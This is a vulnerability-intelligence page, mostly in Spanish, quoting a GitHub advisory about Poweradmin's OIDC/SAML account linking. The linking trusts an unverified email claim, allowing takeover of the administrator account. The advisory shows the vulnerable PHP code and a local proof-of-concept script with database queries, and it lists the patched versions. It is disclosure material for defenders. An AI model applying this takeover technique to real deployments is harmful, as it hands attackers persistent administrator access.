llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-H2H8-XPRP-W5CC

OIDC/SAML account linking trusts an unverified email claim, allowing takeover of a local administrator account (nOAuth pattern)

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versiones4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:39 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Ojo con los rangos de versión, son traicioneros.Esto amerita una regla de detección, por si acaso.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
22 oct 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
1 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-H2H8-XPRP-W5CC divulgada · CVSS 8.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

When a user authenticates through OIDC or SAML, `UserProvisioningService::provisionUser()` falls back to matching on the email address asserted by the identity provider if no subject link already exists. The OpenID Connect `email_verified` claim is never read anywhere in the codebase, `link_by_email` is enabled by default for both providers, and the account lookup excludes neither local password-authenticated accounts nor accounts holding `user_is_ueberuser`. Independently reproduced against commit `d814d61`: an OIDC assertion carrying an attacker-controlled subject and the local administrator's email address returned the administrator's user ID from `provisionUser()`, and the resulting subject-to-account binding was persisted to `oidc_user_links`; no separate attacker account was created. This is the publicly documented "nOAuth" vulnerability class. Affects `<= 4.4.0`; unpatched.

Details

Vulnerable linking branch, `UserProvisioningService::provisionUser()`:

// Try to find by email if email linking is enabled
$authConfig = $this->getAuthMethodConfig($authMethod);
if (($authConfig['link_by_email'] ?? true) && !empty($userInfo->getEmail())) {
    $existingUserId = $this->findUserByEmail($userInfo->getEmail());   // <-- unverified IdP claim
    if ($existingUserId) {
        if ($authMethod === self::AUTH_METHOD_SAML) {
            $this->linkSamlToExistingUser($existingUserId, $userInfo, $providerId);
        } else {
            $this->linkOidcToExistingUser($existingUserId, $userInfo, $providerId);
        }
        $this->updateExistingUser($existingUserId, $userInfo, $authMethod);
        return $existingUserId;   // <-- becomes the authenticated session user
    }
}

Three properties combine into an authentication bypass:

  1. The email claim is never verified. OpenID Connect defines `email_verified` specifically so relying parties can tell whether the provider has confirmed the address, and the specification warns that `email` is not a suitable unique identifier. The string `email_verified` does not appear anywhere in `lib/`. `OidcUserInfo::isValid()` requires only a non-empty username and subject.
  1. Linking is enabled by default, and the fallback is permissive. `config/settings.defaults.php` sets `link_by_email => true` for both OIDC and SAML; the code reads it as `($authConfig['link_by_email'] ?? true)`, so even a provider entry that omits the key gets the linking behavior.
  1. Any active account is a valid link target, including a local password-authenticated superuser. `findUserByEmail()` applies no filter on `auth_method`, on the assigned permission template, or on whether the account is administrative:
private function findUserByEmail(string $email): ?int
{
    $stmt = $this->db->prepare("SELECT id FROM users WHERE email = ? AND active = 1");
    $stmt->execute([$email]);
    ...
}

Persistence. `linkOidcToExistingUser()` inserts a row into `oidc_user_links` binding the attacker-chosen subject to the victim's `user_id`. On every subsequent login, `findUserByOidcSubject()` matches that link before the email branch is even reached, so the takeover survives correcting the email attribute at the provider and survives subsequently disabling `link_by_email`.

PoC

All testing below was performed locally, invoking the actual application source directly via the PHP CLI against a self-hosted SQLite database built from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment, and not any real identity provider; the `OidcUserInfo` object is constructed directly in the test script rather than obtained via a live OIDC login flow, since standing up a real IdP was outside the scope of this local test).

Direct invocation of the real production entry point, `UserProvisioningService::provisionUser()` (the actual, unmodified application code), against a local superuser account seeded in the database beforehand:

$ sqlite3 -header pa.db "SELECT id,username,email,perm_templ,auth_method,active FROM users WHERE id=1;"
id|username|email|perm_templ|auth_method|active
1|admin|admin@tenant.test|1|sql|1
$ sqlite3 pa.db "SELECT count(*) FROM oidc_user_links WHERE oidc_subject='attacker-controlled-subject-456';"
0
// poc_link2.php
$ui = new OidcUserInfo(
    "attacker2", "admin@tenant.test", "Att", "Acker", "Att Acker", [],
    "poc-provider2", "attacker-controlled-subject-456"
);
var_dump($ui->isValid());
$id = $svc->provisionUser($ui, "poc-provider2");
var_dump($id);
$ php poc_link2.php
bool(true)
int(1)

`provisionUser()` returned `1`, the id of the pre-existing local `admin` account, for an assertion carrying a brand-new, attacker-chosen subject.

Confirmed persistent binding, and that no separate attacker account was created:

$ sqlite3 -header pa.db "SELECT l.user_id, u.username, u.perm_templ, u.auth_method, l.provider_id, l.oidc_subject, l.email \
    FROM oidc_user_links l JOIN users u ON u.id=l.user_id \
    WHERE l.oidc_subject='attacker-controlled-subject-456';"
user_id|username|perm_templ|auth_method|provider_id|oidc_subject|email
1|admin|1|sql|poc-provider2|attacker-controlled-subject-456|admin@tenant.test
$ sqlite3 pa.db "SELECT id,username FROM users WHERE username='attacker2';"
(empty)
Impact

An attacker who can cause the configured identity provider to assert an arbitrary `email` value, while holding only their own ordinary identity at that provider, is authenticated to Poweradmin as whichever local account carries that address; a local Poweradmin administrator's address yields a superuser session. Realistic preconditions, in decreasing likelihood: the provider allows self-service editing of the email/UPN attribute (common in Keycloak and in Active Directory deployments with self-service profile editing); the provider is a multi-tenant endpoint (e.g., Entra ID/Azure AD against `/common/`); the provider permits self-registration without email verification. The compromise is persistent via the `oidc_user_links` row and survives both correcting the email at the provider and later disabling `link_by_email`. A secondary consequence: `updateExistingUser()` overwrites the victim account's `fullname`/`email` with the attacker's asserted values, and those fields become read-only in the UI for IdP-managed accounts, making the takeover harder for an operator to notice or undo.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 4.1.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
4.1.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas4.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-h2h8-xprp-w5cc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.